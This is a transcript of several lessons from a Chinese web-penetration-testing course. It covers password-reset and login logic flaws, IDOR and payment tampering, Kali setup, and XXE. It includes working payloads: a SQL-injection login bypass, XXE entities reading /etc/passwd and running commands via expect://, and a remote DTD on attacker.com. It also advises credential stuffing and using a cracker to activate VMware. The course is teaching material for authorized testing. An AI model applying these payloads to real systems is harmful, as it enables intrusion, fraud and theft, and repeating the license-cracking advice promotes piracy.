  7. 修改请求头：如修改X-Forwarded-For或Client-IP头来伪造IP地址，试图绕过基于IP的频率限制（此方法效果取决于服务端校验严格程度）。

总结 📝

本节课中我们一起学习了两种重要的逻辑漏洞。

我们首先了解了逻辑漏洞的本质——源于程序设计时的逻辑缺陷，并知道了它在SRC挖掘中的重要地位。接着，我们深入探讨了URL跳转漏洞，学习了其原理、危害、寻找方法以及多种绕过过滤的技巧。然后，我们分析了短信/邮箱轰炸漏洞，掌握了其利用方式，并了解了一系列绕过发送频率限制的实用思路。

逻辑漏洞的挖掘极度依赖测试者的思路和对业务逻辑的理解。记住，漏洞是人找出来的，保持好奇心，多观察、多测试、多思考，是发现这类漏洞的关键。希望大家能将所学知识应用于安全实践中，但务必遵守法律法规，在授权范围内进行测试。

课程P29：第27天 - 逻辑漏洞之任意密码重置与任意账户登录 🔐

在本节课中，我们将要学习两种常见的逻辑漏洞：任意密码重置漏洞和任意账户登录漏洞。逻辑漏洞的核心在于程序员的逻辑设计缺陷，而非复杂的技术实现。理解其思路是挖掘这类漏洞的关键。

概述

逻辑漏洞通常不复杂，关键在于思路。任意密码重置漏洞的原理是：在修改密码时，系统没有对修改凭证进行严格限制，导致攻击者可以绕过验证，修改任意用户的密码。其漏洞场景多样，我们将逐一分析。

任意密码重置漏洞详解

上一节我们概述了逻辑漏洞的特点，本节中我们来看看任意密码重置漏洞的具体表现形式。

1. 验证码可被爆破

以下是验证码可被爆破的几种情况：

  • 四位验证码：这是最常见的情况。四位数字的验证码组合仅有10000种可能，攻击者可以在短时间内（例如三分钟内）通过自动化工具尝试所有组合，从而爆破成功。
  • 六位验证码但无次数/时间限制：虽然验证码位数增加，但如果系统未对单IP的尝试次数进行限制，或者验证码有效期过长（如两小时），攻击者仍有爆破的可能。
  • 验证码永不过期：在某些设计中，验证码发送后可能长期有效（如一天），这大大增加了被爆破或利用的风险。注意：测试此类漏洞耗时较长，实战中不推荐作为首要目标。

核心要点：系统未对验证码的尝试次数和有效时间做严格限制。

2. 验证码/凭证在返回包中回传

在重置密码流程中，系统有时会将验证码或其他凭证（Token）直接放在HTTP响应包中返回给客户端。
例如，在请求发送验证码后，服务器返回的数据包中可能包含字段："code": "123456"。
攻击者通过拦截（如使用Burp Suite）即可直接获取该凭证，从而绕过手机接收环节。

核心概念：这里的“凭证”不限于短信验证码，也可能是其他用于验证身份的唯一字符串。

3. 验证码未与用户绑定

系统在验证时，只检查了验证码是否正确，但没有校验这个验证码是否是发送给当前正在操作的这个手机号/邮箱的。
攻击场景：

  1. 攻击者拥有手机号A和B。
  2. 用手机号A请求密码重置，获得验证码X。
  3. 在重置密码界面，将手机号改为B，但输入验证码X。
  4. 系统验证X有效，便允许为手机号B重置密码。

4. 仅存在前端验证

验证逻辑完全由前端JavaScript代码执行。例如，验证码被硬编码在JS文件里，前端将用户输入与之对比。
绕过方法：攻击者可以禁用浏览器JS、修改本地JS文件或直接构造绕过前端验证的请求包。

5. 可跳过验证步骤

密码重置流程分为多步（如：1.输入账号 -> 2.验证身份 -> 3.设置新密码）。如果系统没有在每一步严格校验上一步是否已完成，攻击者就可能直接访问最终设置新密码的链接。
测试方法：

  1. 用自己的账号完整走一遍流程，记录每个步骤的URL。
  2. 尝试在未完成前序步骤（如身份验证）的情况下，直接访问“设置新密码”的URL。如果能够访问并成功修改密码，则漏洞存在。

6. 重置令牌（Token）可被预测

系统通过邮件或短信发送的重置密码链接包含一个Token（例如：https://example.com/reset?token=7a83b1c0）。如果这个Token的生成有规律（如基于时间戳、用户ID递增），攻击者就可以预测其他用户的Token。
常见规律：

  • Token为连续或递增的数字。
  • Token是经过编码的、包含用户ID和时间等可预测信息的字符串。

7. 可同时向多个账户发送凭证

在输入账号（如手机号）的环节，如果系统处理不当，攻击者输入用逗号隔开的多个账号（如13800138000,13900139000），可能导致系统向所有这些账号发送了相同的验证码。

8. 接收端参数可被篡改

在验证身份后的步骤中，可能存在用于标识目标用户的参数（如uid=123）。如果该参数由客户端提交且服务端未与之前验证的身份进行二次绑定校验，攻击者通过修改该参数（如改为uid=456），即可为其他用户执行操作（如修改绑定手机号）。

9. 存在万能验证码

在极少数情况下，系统可能为测试或后台管理预留了万能验证码（如000000或999999）。如果该验证码在线上环境未被移除，则可直接用于通过验证。

任意账户登录漏洞详解

上一节我们详细分析了任意密码重置的各种场景，本节中我们来看看与之高度重叠的任意账户登录漏洞。其定义是：由于逻辑错误，导致攻击者可以登录任意用户账户。

1. 验证码回传（在登录场景）

与密码重置场景类似，在手机验证码登录时，验证码可能在返回包中泄露。

2. 修改返回包实现登录

在登录过程中，拦截服务器返回的响应包，并修改其内容以欺骗前端，使其认为登录成功。
攻击场景：

  1. 使用错误密码登录，拦截返回“密码错误”的响应包。
  2. 将该响应包中标识失败的部分，修改为之前用正确密码登录成功时捕获的成功响应数据。
  3. 将修改后的响应包放行，前端应用接收到“成功”的响应，可能就会为攻击者建立已登录的会话。

3. 修改用户标识参数（如UID）

某些登录接口或登录后的会话维持，通过参数（如Cookie或URL中的uid、username）来标识当前用户。如果该参数可控且服务端未做严格权限校验，修改该参数即可切换到其他用户身份。
公式表示：修改请求中的 uid 参数值 -> 系统返回对应用户的数据/权限

4. 万能密码（SQL注入）

这属于SQL注入漏洞的一种特例，在登录场景中尤为典型。通过在用户名或密码字段注入SQL语句，绕过身份验证。
经典Payload：
用户名输入：admin' or '1'='1
密码输入：任意值
最终执行的SQL可能变为：SELECT * FROM users WHERE username = 'admin' or '1'='1' AND password = '...'。由于'1'='1'恒真，可能返回管理员用户记录。

5. 默认/弱口令

许多系统或用户使用默认密码（如admin/admin、123456）或常见弱口令。攻击者通过用户名枚举（如学号、工号）搭配弱口令字典，即可尝试登录大量账户。这在教育、企业OA系统中较为常见。

6. 撞库

攻击者利用从其他平台泄露的账号密码数据库（社工库），尝试登录目标系统。因为很多用户在不同平台使用相同的账号密码。
流程：获取泄露的账号密码组合 -> 在目标网站批量尝试登录 -> 成功登录那些使用了相同密码的账户。

7. Cookie混淆

与“修改用户标识参数”类似，如果会话Cookie中包含了明文的、简单的用户标识（如user_id=123），攻击者修改此Cookie值即可冒充其他用户。

总结与课后练习

本节课中我们一起学习了任意密码重置和任意账户登录两大类逻辑漏洞。我们深入探讨了十余种具体的漏洞场景，从验证码爆破、返回包修改到参数篡改、撞库等。请记住，挖掘逻辑漏洞的核心在于理解业务流程和寻找逻辑断点，多观察、多测试、多思考是关键。

课后作业建议：

  1. 在提供的靶场环境（如DedeCMS、琼海CMS等）中，尝试复现课程中提到的漏洞类型。
  2. 完成“安保实验室”的逻辑漏洞专题挑战，巩固常规业务场景下的漏洞挖掘能力。
  3. 查阅历史漏洞报告（如乌云镜像），分析真实案例中的漏洞思路和利用方法。

逻辑漏洞的挖掘重在思路清晰与实践练习。希望大家通过本节课的学习，能够掌握这些常见漏洞的原理与发现方法。

课程P3：第1天 - VMware安装及Kali虚拟机安装 🛠️💻

在本节课中，我们将学习Web安全基础环境搭建的第一步：安装虚拟化软件VMware Workstation，并在此基础上安装Kali Linux渗透测试系统。这是后续所有安全学习和工具使用的基础。

概述

Web安全学习需要一个独立、安全且功能强大的实验环境。使用虚拟机可以在一台物理电脑上运行多个操作系统，方便进行各种测试而不会影响主机。本节课的核心就是搭建这个基础环境。

上一节我们介绍了课程大纲，本节中我们来看看具体如何搭建环境。

第一部分：VMware Workstation 安装与激活

VMware Workstation是一款功能强大的桌面虚拟化软件，允许用户在一台机器上同时运行多个不同的操作系统。

1. 软件下载

访问VMware官方网站（www.vmware.com）下载最新版本的VMware Workstation Pro。

  • 在官网找到“Download”选项。
  • 选择“Workstation Pro”产品。
  • 根据你的主机系统（Windows或Linux）选择对应的安装程序进行下载。

提示：课程提供的资料包中已包含VMware 15.5.2版本的安装文件及激活工具，可直接使用。

2. 安装步骤

安装过程较为简单，遵循常规软件的安装流程即可。

以下是关键步骤：

  1. 运行下载的安装程序。
  2. 接受许可协议。
  3. 更改安装路径：建议不要安装在系统盘（如C盘），以免影响系统运行速度。可以指定到D盘或其他盘符下的自定义目录，例如 D:\VMware\。
  4. 取消勾选不必要的增强型键盘驱动等可选组件。
  5. 点击“安装”并等待完成。

3. 软件激活

VMware Workstation是收费软件，试用版功能有限。我们需要使用激活工具获取完整功能。

激活流程如下：

  1. 安装完成后，先不输入许可证密钥，直接关闭窗口。
  2. 将提供的激活工具（通常是一个.exe文件）复制到VMware的安装目录下。
  3. 运行该激活工具，它会生成可用的许可证密钥。
  4. 打开VMware软件，在“帮助”->“输入许可证密钥”中，粘贴生成的密钥完成激活。

激活成功后，即可看到VMware的主界面。

第二部分：认识Kali Linux 🐉

在安装Kali之前，我们先了解一下它是什么。

Kali Linux是一个基于Debian的Linux发行版，专为渗透测试和安全审计设计。它预装了超过600种安全工具，涵盖了信息收集、漏洞分析、无线攻击等多个领域，是安全从业者的必备系统。

其官方工具列表网址为：tools.kali.org/tools-listing。

第三部分：安装Kali Linux虚拟机

安装Kali有两种主要方式：使用官方ISO镜像安装，或直接导入预配置的VMware虚拟机文件（.vmx）。我们分别介绍。

方式一：使用预构建的VMware虚拟机文件（推荐新手）

这种方法最简单快捷，适合快速开始。

操作步骤如下：

  1. 下载课程提供的或从Kali官网下载的.ova或.vmx格式的虚拟机文件。
  2. 在VMware中，选择“文件”->“打开”，找到并选择该文件。
  3. 导入后，直接启动该虚拟机即可。
  4. 系统启动后，使用默认用户kali和密码kali登录。

注意：Kali 2020及以后版本默认禁用了root用户直接登录，使用普通用户kali更安全。如需切换为root用户，可在终端执行以下命令：

sudo passwd root

输入当前用户kali的密码后，再设置新的root密码即可。之后可以使用 su root 命令切换用户。

方式二：使用ISO镜像文件安装

这种方式更灵活，可以自定义系统配置。

1. 创建新虚拟机

在VMware中创建新的虚拟机：

  1. 选择“创建新的虚拟机”。
  2. 配置类型选择“自定义（高级）”。
  3. 硬件兼容性选择默认的VMware版本。
  4. 安装来源选择“稍后安装操作系统”。
  5. 客户机操作系统选择“Linux”，版本选择“Debian 10.x 64位”。
  6. 命名虚拟机并选择安装位置（同样建议非系统盘）。
  7. 处理器和内核数量根据主机性能分配，默认设置即可。
  8. 内存分配：建议至少分配2GB（2048MB），如果主机内存充足（如16GB），可分配4GB以获得更流畅体验。
  9. 网络类型：选择“使用桥接网络”或“使用网络地址转换（NAT）”。
    • 桥接模式：虚拟机将获得与主机同网段的独立IP，像一台真实设备存在于局域网中。
    • NAT模式：虚拟机通过主机的IP地址访问外网，共享主机IP，更节省局域网IP资源。
  10. 磁盘容量建议分配40GB以上，选择“将虚拟磁盘存储为单个文件”。

2. 加载镜像并安装

虚拟机创建完成后，开始安装系统：

  1. 在虚拟机设置中，将下载好的Kali Linux ISO镜像文件关联到虚拟机的CD/DVD驱动器。
  2. 启动虚拟机，进入安装界面。
  3. 选择“Graphical install”（图形化安装）。
  4. 选择语言、地区、键盘布局等，建议初学者选择“中文（简体）”。
  5. 设置主机名（如kali）、域名（本地使用可留空）。
  6. 创建用于日常登录的普通用户名和密码（例如用户kali，密码kali）。
  7. 磁盘分区：对于新手，选择“使用整个磁盘”并“将所有文件放在同一个分区中”是最简单的选项。系统会自动完成分区。
  8. 确认分区更改并写入磁盘。
  9. 配置软件包管理器，若无HTTP代理则留空。
  10. 等待系统安装基本系统和工具包，此过程耗时较长。
  11. 安装GRUB引导器到磁盘。
  12. 安装完成，重启系统。

第四部分：虚拟机网络配置与基础问题排查 🌐

安装完成后，确保虚拟机可以正常上网是使用各种工具的前提。

网络连通性检查

  1. 在Kali终端中，尝试ping一个外网地址，例如：
    ping 8.8.8.8
  2. 如果能通，说明网络连接正常。如果无法ping通，请检查以下设置。

常见网络问题解决

  1. 检查VMware网络设置：确保虚拟机的网络适配器已连接，并且模式（桥接/NAT）符合你的网络环境需求。
  2. 更改DNS服务器：如果可以ping通IP（如8.8.8.8）但无法解析域名（如www.baidu.com），可能是DNS问题。可以编辑DNS配置文件：
    sudo nano /etc/resolv.conf
    添加公共DNS，例如：
    nameserver 8.8.8.8
nameserver 114.114.114.114
  3. 更新系统：网络通畅后，建议首先更新系统以获取最新软件和安全补丁：
    sudo apt update && sudo apt upgrade -y

第五部分：补充：Windows虚拟机安装简介

在安全测试中，有时也需要Windows环境。安装Windows虚拟机流程与Kali类似。

  1. 获取镜像：可以从“MSDN，我告诉你”等正规网站下载Windows系统ISO镜像。
  2. 创建虚拟机：在VMware中新建虚拟机，客户机操作系统选择对应的Windows版本（如Windows 10）。
  3. 加载安装：将Windows ISO镜像关联给虚拟机，启动后按图形化向导完成安装即可。

总结

本节课中我们一起学习了Web安全学习环境的基石搭建。

  1. 我们首先安装并激活了虚拟化软件VMware Workstation。
  2. 然后认识了专为渗透测试设计的Kali Linux系统及其强大工具集。
  3. 接着，我们详细讲解了两种安装Kali虚拟机的方法，推荐新手使用预构建的虚拟机文件以快速上手。
  4. 最后，我们介绍了虚拟机网络配置的要点和常见问题的解决方法，并简要说明了Windows虚拟机的安装思路。

成功搭建这个环境后，你就拥有了一个安全、隔离且功能强大的实验平台，可以放心地进行后续的各种安全工具学习和漏洞测试实践。

网络安全就业推荐 P30：第28天 🛡️ 逻辑漏洞-越权漏洞及支付逻辑漏洞

在本节课中，我们将要学习逻辑漏洞的第三部分，重点介绍越权漏洞和支付逻辑漏洞。这两种漏洞在实际的网络安全测试中非常常见，理解其原理和挖掘方法对于初学者至关重要。

概述

逻辑漏洞通常源于程序在处理业务逻辑时考虑不周。今天我们将探讨两类核心的逻辑漏洞：越权漏洞和支付逻辑漏洞。它们的共同点是，攻击者可以通过修改客户端发送的请求参数，来达到非授权的目的。

越权漏洞 🔓

上一节我们介绍了逻辑漏洞的基本概念，本节中我们来看看越权漏洞。越权漏洞分为横向越权和纵向越权。

  • 横向越权：指相同权限等级的用户A可以操作用户B的数据或功能。
  • 纵向越权：指低权限用户（如普通用户）可以操作高权限用户（如管理员）才能执行的功能。

其产生的根本原因是：服务器过分信任客户端提交的数据，而遗漏了关键的权限校验逻辑。

漏洞原理与利用

挖掘越权漏洞的核心思路是：抓取数据包，分析并修改其中的参数。

以下是挖掘越权漏洞的一般步骤：

  1. 识别功能点：寻找涉及用户个人数据操作的功能，如查看/修改个人信息、订单、地址等。
  2. 抓包分析：使用抓包工具（如Burp Suite）拦截请求。
  3. 定位参数：在请求中寻找用于标识用户或资源的参数，常见的有 userid、id、username 等。
  4. 修改测试：尝试修改这些参数的值（例如，将属于自己的 id=9 改为他人的 id=1），然后重放请求，观察是否能越权访问或操作他人数据。

核心操作：修改请求中的标识参数。

POST /update_address HTTP/1.1
Host: example.com
...
id=9&address=NewAddress  // 将 id=9 改为 id=1

实例演示

在一个示例网站中，用户修改收货地址的请求包包含参数 id=9。将其修改为 id=1 并重放请求后，页面返回了用户ID为1的地址信息，这证实了横向越权漏洞的存在。

重要提示：涉及用户敏感信息（如地址、电话、订单）的越权漏洞，危害等级通常很高。

支付逻辑漏洞 💳

了解了如何越权访问数据后，我们来看看在支付环节可能出现的逻辑漏洞。支付逻辑漏洞同样源于服务器未对客户端提交的支付相关参数进行充分校验。

攻击者可以通过修改支付请求中的关键参数，实现“低价购买”甚至“零元购”。

常见的攻击点

以下是支付流程中可能被篡改的参数点：

  • 修改商品数量：将正数改为负数或极大值。例如，将 quantity=1 改为 quantity=-1，可能导致系统向用户账户加钱。
    • quantity=1 -> quantity=-1
  • 修改商品单价：直接修改价格参数。例如，将 price=100.00 改为 price=0.01。
    • price=100.00 -> price=0.01
  • 修改商品ID：用低价商品的ID替换高价商品的ID。
  • 修改订单状态：拦截并修改服务器返回的支付结果，将“支付失败”改为“支付成功”。
  • 滥用优惠券/积分：
    • 修改优惠券金额或折扣率。
    • 重复使用本应一次性的优惠券码。
    • 篡改积分数量。
  • 测试数据包未删除：开发者遗留的测试商品或订单，其价格极低甚至为零。攻击者可以通过遍历ID等方式发现并购买这些测试商品。

实例演示

在一个靶场系统中，购买商品时抓取请求包，其中包含参数 price=6000 和 quantity=1。将数量修改为 quantity=-1 并提交后，用户账户余额反而增加了6000，而非扣款。

核心思路：支付逻辑漏洞的挖掘同样遵循 “抓包-改包-重放” 的流程，关键在于熟悉业务，知道哪些参数会影响最终的支付结果。

条件竞争漏洞 ⏱️

最后，我们简要了解一种特殊的逻辑漏洞——条件竞争漏洞。它发生在多个线程同时访问和操作同一共享资源（如变量、文件、账户余额），而程序没有进行合理的“锁”控制时。

漏洞原理

简单理解：在极短时间内，同时向服务器发送大量相同的请求，可能导致业务逻辑出现意外结果。

常见场景

  • 领取优惠券/奖励：限制每人领取一次，但同时并发多个领取请求，可能成功领取多次。
  • 抽奖活动：限制每人一次抽奖机会，并发请求可能获得多次机会。
  • 文件上传：一种罕见但经典的场景。服务器流程可能是：1. 将文件保存到临时目录；2. 检查文件后缀是否合法；3. 不合法则删除。攻击者在文件被删除前，并发大量访问该临时文件的请求，有可能在删除前执行成功。

利用方法：使用抓包工具的爆破（Intruder）模块，以多线程方式大量重放某个关键请求包。

总结

本节课中我们一起学习了三种常见的逻辑漏洞：

  1. 越权漏洞：通过修改请求中的用户标识参数（如id），非法访问或操作其他用户的数据。关键在于抓包并理解每个参数的作用。
  2. 支付逻辑漏洞：通过修改支付请求中的数量、价格、状态等参数，实现不当得利。核心是熟悉支付业务环节，对每个参数进行篡改测试。
  3. 条件竞争漏洞：通过高并发请求，利用程序处理请求的时序问题，绕过次数限制。重点是使用工具并发重放请求。

逻辑漏洞的挖掘高度依赖对业务的理解和手动测试，难以被自动化扫描器发现。对于初学者而言，掌握 “抓包-改包-重放” 这一基本方法，并培养敏锐的业务逻辑洞察力，是挖掘这类漏洞的关键。

网络安全就业推荐 P31：第29天 - 逻辑漏洞挖掘思路脑洞篇 🧠💡

在本节课中，我们将学习逻辑漏洞的挖掘思路，特别是超越常规“改包”操作的“增”与“删”的脑洞技巧。课程将首先回顾三个考核题目的核心解法，然后深入探讨如何通过添加或删除参数来发现隐藏的逻辑漏洞。

第一部分：考核题目讲解

上一节我们介绍了逻辑漏洞的基本概念，本节中我们来看看三个具体考核题目的挖掘过程。

1. 大米CMS支付逻辑漏洞 💰

这个漏洞的核心在于修改订单请求包中的参数值。

操作步骤如下：

  1. 注册一个账号。
  2. 进入产品购买页面，选择“站内扣款”的支付方式。
  3. 提交订单时，使用抓包工具拦截请求。
  4. 在拦截到的数据包中，找到代表商品数量的参数（例如 num=1）。
  5. 将该参数值修改为负数，例如 num=-1。
  6. 放行数据包，完成订单提交。系统会因数量为负而向你的账户“退款”，从而实现“赚钱”。

核心思路：
逻辑漏洞的测试基于对数据包的深刻理解。你需要尝试修改请求中的每一个参数，例如价格（price）、数量（num）、商品ID（id）等。开发者可能只对价格做了校验，却遗漏了数量，从而导致漏洞。

2. 熊海CMS后台越权漏洞 🔑

这个漏洞利用了系统通过Cookie中的特定字段（如user）来判断用户身份的缺陷。

操作步骤如下：

  1. 访问后台登录页面（例如 admin.php?r=login）。
  2. 输入任意用户名密码并抓取登录请求包。
  3. 在请求包的Cookie部分，手动添加一个身份字段，例如 user=admin。
  4. 同时，将请求的路径（r参数）修改为后台的其他功能页面，如 r=index。
  5. 放行数据包，即可绕过登录直接进入后台管理界面。

核心思路：
对于开源CMS，可以通过下载源码来了解其后台的所有页面和参数。漏洞挖掘时，要熟悉每个参数的作用，并尝试在Cookie等位置添加或修改身份标识参数。

3. 商城收货地址越权漏洞 🏪

这是一个经典的越权漏洞，通过修改请求中的用户ID（uid）参数，来操作其他用户的收货地址。

操作步骤如下：

  1. 登录自己的账号，进入“我的收货地址”页面。
  2. 添加或修改地址时抓包。
  3. 在数据包中找到标识用户的参数（如 uid=1001）。
  4. 将该参数值修改为其他用户的ID（如 uid=1002）。
  5. 放行数据包，如果操作成功，则存在越权漏洞，可以查看、修改或删除他人的收货地址。

核心思路：
这类漏洞在查询用户敏感信息的功能中很常见，如医院病历系统、学校学生信息管理系统等。关键在于发现并修改请求中用于区分不同用户的标识符参数。

第二部分：逻辑漏洞脑洞篇 🧩

上一节我们回顾了基于“修改”操作的经典逻辑漏洞，本节中我们来看看更具创造性的“增”与“删”的思路。

1. 删除参数法

此方法的核心是：删除请求中的某些关键参数（如身份验证Token、Cookie），观察系统是否仍然正常响应，从而发现未授权访问或逻辑缺陷。

操作思路：

  1. 拦截一个需要权限的操作请求（如修改个人信息）。
  2. 删除请求头中的Cookie或Authorization字段。
  3. 或者删除请求体中的Token参数。
  4. 放行请求，如果操作依然成功，说明系统未对用户登录状态进行有效验证，存在未授权访问漏洞。

公式化描述：
正常请求 (含身份凭证) -> 成功操作
删除身份凭证后的请求 -> 若仍成功操作 => 存在未授权漏洞

2. 添加参数法

此方法的核心是：向请求中添加可能的“隐藏”参数，以探测额外的功能点或漏洞入口。这类似于用字典爆破隐藏的网站目录。

操作步骤如下：

以下是使用Burp Suite Intruder模块进行参数爆破的示例思路：

  1. 拦截一个正常的GET或POST请求。
  2. 发送到Intruder模块，选择“Sniper”攻击类型。
  3. 在请求中选定一个插入点，例如在URL的?后，或请求体中。
  4. 加载一个包含大量常见参数名的字典文件（如 callback、jsonp、debug、test等）。
  5. 开始攻击，观察响应中是否有长度、状态码或内容明显不同的结果。

代码示例（概念性）：
原始请求：GET /user/info?id=123
测试请求：GET /user/info?id=123&callback=test
如果响应变成了 test({...user data...})，则可能发现了JSONP接口，进而可能测试JSONP劫持等漏洞。

核心思路：

  • 隐藏功能：开发者可能预留了某些调试参数或未公开的功能参数，添加它们可能触发不同的逻辑。
  • 参数污染：添加的参数可能与原有参数产生交互，引发逻辑错误。
  • 漏洞发现：例如，添加 callback 参数可能暴露出JSONP接口；添加 debug=true 可能开启调试模式泄露信息。

总结

本节课中我们一起学习了逻辑漏洞挖掘的进阶思路：

  1. 基础操作：通过“修改”请求包中的价格、数量、ID等参数，挖掘支付、越权等经典逻辑漏洞。
  2. 进阶脑洞：
    • 删除法：通过删除Cookie、Token等身份凭证，测试系统是否存在未授权访问漏洞。
    • 添加法：通过字典爆破向请求中添加隐藏参数，以发现未公开的功能点、调试接口或新的攻击面（如JSONP）。

逻辑漏洞的魅力在于思维的独特性。不要局限于常规测试点，要大胆假设、细心验证，对请求中的每一个字段都保持好奇，尝试增、删、改、查各种操作，才能发现那些深藏不露的安全问题。

🛡️ 课程 P32：第30天 - XXE漏洞基础

在本节课中，我们将学习XML外部实体注入（XXE）漏洞的基础知识。课程将从XML和DTD的基础概念讲起，逐步深入到XXE漏洞的原理与初步利用方式。课程内容旨在让初学者能够理解并掌握核心概念。

📖 XML基础

上一节我们介绍了课程概述，本节中我们来看看XML的基础知识。

XML是一种用于标记电子文件，使其具有结构性的可扩展标记语言。它的形式与HTML语言类似，但XML没有固定的标签，所有标签都可以自定义。XML的设计宗旨是传输数据，而非像HTML一样用于前端显示。

以下是XML文档处理的基本流程：

  1. 客户端生成XML文档并通过HTTP发送给服务端。
  2. 服务端接收请求后，使用XML解析库进行解析。
  3. 解析后，服务端可能将数据回显给客户端或进行其他处理。

一个典型的XML文档结构示例如下：

<?xml version="1.0" encoding="UTF-8"?>
<book id="1">
  <title>网络安全</title>
  <author>作者名</author>
  <year>2023</year>
  <price>100</price>
</book>

XML文档必须遵循以下语法规则：

  • 文档必须有一个根元素（如示例中的 <book>）。
  • XML元素必须有关闭标签。
  • XML对大小写敏感。
  • 元素必须被正确嵌套。
  • 属性值必须加引号。

📄 XML文档结构与DTD

上一节我们介绍了XML的基本语法，本节中我们来看看XML文档的完整结构以及DTD的作用。

一个完整的XML文档通常包含以下部分：

  1. XML声明
  2. DTD文档类型定义（可选）
  3. 文档元素

XML声明用于告知解析器文档的基本信息，例如：

<?xml version="1.0" encoding="UTF-8"?>

其中，version 指定XML版本，encoding 指定字符编码（如UTF-8）。

DTD（文档类型定义）的作用是为XML文档定义语义约束。你可以将DTD理解为一个模板，它定义了用户自定义的根元素、子元素及其属性，确保XML文档的规范化。

DTD声明有两种方式：

  • 内部DTD声明：直接写在XML文档内部。
    <!DOCTYPE note [
  <!ELEMENT note (to,from,heading,body)>
  <!ELEMENT to (#PCDATA)>
  <!ELEMENT from (#PCDATA)>
  <!ELEMENT heading (#PCDATA)>
  <!ELEMENT body (#PCDATA)>
]>
  • 外部DTD声明：通过SYSTEM关键字引入外部DTD文件。
    <!DOCTYPE note SYSTEM "note.dtd">
    外部DTD文件（如 note.dtd）的内容与内部声明类似。

🔤 DTD中的PCDATA与CDATA

上一节我们了解了DTD的定义，本节中我们来看看DTD中两种重要的数据类型：PCDATA和CDATA。

PCDATA 指的是被解析的字符数据。这意味着包含在PCDATA中的文本会被解析器检查实体和标记。如果文本中包含 <、> 或 & 等特殊字符，解析器会将其解释为标记的一部分，从而导致错误。为了避免错误，需要使用预定义的实体引用来替代这些字符，例如：

  • &lt; 代表 <
  • &gt; 代表 >
  • &amp; 代表 &

CDATA 指的是不应由XML解析器进行解析的文本数据。CDATA部分中的所有内容都会被解析器忽略，原样输出。其语法如下：

<![CDATA[这里的内容不会被解析，即使包含 <, >, & 等字符]]>

需要注意的是，CDATA部分中不能包含其结束标记 ]]>，也不允许嵌套CDATA。

⚙️ DTD实体

上一节我们区分了PCDATA和CDATA，本节中我们进入核心部分：DTD实体。实体可以理解为可复用的数据单元。

以下是DTD实体的主要类型：

内部普通实体

内部普通实体在DTD内部定义和赋值，在文档元素中引用。

  • 声明方式：<!ENTITY 实体名 "实体值">
  • 引用方式：&实体名;
  • 示例：
    <!ENTITY hello "World">
<greeting>Hello &hello;</greeting>
    解析后输出：Hello World

外部普通实体

外部普通实体通过SYSTEM或PUBLIC关键字引入外部资源。

  • 声明方式：<!ENTITY 实体名 SYSTEM "URI/文件路径">
  • 引用方式：&实体名;
  • 示例（读取文件）：
    <!ENTITY file SYSTEM "file:///etc/passwd">
<content>&file;</content>
    如果服务器存在XXE漏洞，且未做防护，此操作可能将 /etc/passwd 文件内容回显。
  • 示例（PHP伪协议）：
    <!ENTITY file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<content>&file;</content>
    通过Base64编码读取文件，可以避免特殊字符导致的解析错误。

不同语言在引用外部实体时支持的协议可能不同，常见的有 file://、http://、php:// 等。

🎯 总结与漏洞原理初探

本节课中我们一起学习了XXE漏洞的基础知识。

我们首先了解了XML的基本概念、语法和文档结构。然后，我们深入学习了DTD（文档类型定义），包括其作用、声明方式以及内部的PCDATA和CDATA数据类型。最后，我们重点探讨了DTD实体，特别是外部普通实体的声明与引用方式。

XXE漏洞的核心原理在于：当应用程序在解析用户可控的XML输入时，未禁用外部实体的加载，攻击者就可以构造恶意的DTD，通过外部实体声明来读取服务器上的任意文件（如 file:///etc/passwd）、发起内部网络请求，甚至在某些配置下导致拒绝服务（DoS）或远程代码执行。

本节课演示了利用外部实体读取文件的基本利用方式。理解XML、DTD和实体是掌握XXE漏洞的基础。在后续课程中，我们将学习更复杂的利用技巧及防御方法。

课程 P33：第31天 - XXE漏洞利用与防御 🛡️

在本节课中，我们将学习XML外部实体注入漏洞的利用方法，包括有回显和无回显场景下的攻击技术，并了解如何防御此类漏洞。

概述

XXE攻击发生在应用程序解析XML输入时，未禁止外部实体的加载，导致攻击者可以读取服务器上的敏感数据或执行其他恶意操作。

PHP环境下的命令执行

在PHP引用外部实体时，如果目标服务器安装并加载了expect扩展，则可以执行系统命令。

用法示例：

<!DOCTYPE test [
    <!ENTITY xxe SYSTEM "expect://id">
]>
<test>&xxe;</test>

当解析此XML时，如果环境支持，会执行id命令并返回结果。

上一节我们介绍了PHP环境下的特殊情况，本节中我们来看看参数实体的具体应用。

参数实体详解

参数实体与普通实体的主要区别在于声明时使用百分号%，且主要在DTD内部使用。

参数实体声明格式：

  • 内部参数实体：<!ENTITY % 实体名 "实体值">
  • 外部参数实体：<!ENTITY % 实体名 SYSTEM "URI">

参数实体引用：
在DTD中使用%实体名;进行引用，不能在XML文档内容中直接引用。

以下是参数实体与普通实体的对比示例：

<!DOCTYPE test [
    <!-- 普通内部实体 -->
    <!ENTITY normal "hello">
    
    <!-- 普通外部实体 -->
    <!ENTITY file SYSTEM "file:///c:/windows/win.ini">
    
    <!-- 内部参数实体 -->
    <!ENTITY % param "world">
    
    <!-- 外部参数实体 -->
    <!ENTITY % external SYSTEM "http://localhost:9999/test.dtd">
    
    <!-- 在DTD中引用参数实体 -->
    %external;
    
    <!-- 通过参数实体定义普通实体 -->
    <!ENTITY combined "&normal; %param;">
]>
<test>&combined; &file;</test>

读取含特殊字符的文件

当需要读取的文件包含XML特殊字符（如<、&）时，直接读取会导致解析错误。解决方案是使用CDATA包裹内容。

初始尝试（会失败）：

<!DOCTYPE test [
    <!ENTITY % start "<![CDATA[">
    <!ENTITY % file SYSTEM "file:///d:/test.txt">
    <!ENTITY % end "]]>">
    <!ENTITY % all "<!ENTITY content '%start;%file;%end;'>">
    %all;
]>
<test>&content;</test>

此方法会报错：“参数实体引用不能出现在DTD内部子集的标记内”。

正确方法：
将参数实体引用放在外部DTD文件中。

以下是实现步骤：

  1. 创建外部DTD文件（如evil.dtd）：
<!ENTITY % start "<![CDATA[">
<!ENTITY % file SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY content '%start;%file;%end;'>">
%all;
  1. 在主XML中引用：
<!DOCTYPE test [
    <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
    %dtd;
]>
<test>&content;</test>

XXE漏洞发现

要发现XXE漏洞，首先需要找到接受XML作为输入的端点。

以下是发现漏洞的步骤：

  1. 寻找XML输入点：检查应用是否接受XML格式的输入，特别是将Content-Type改为application/xml进行测试。
  2. 测试XML解析：发送简单的XML数据，查看是否被成功解析。
  3. 测试外部实体：尝试引用外部实体，观察是否有请求发出或数据返回。

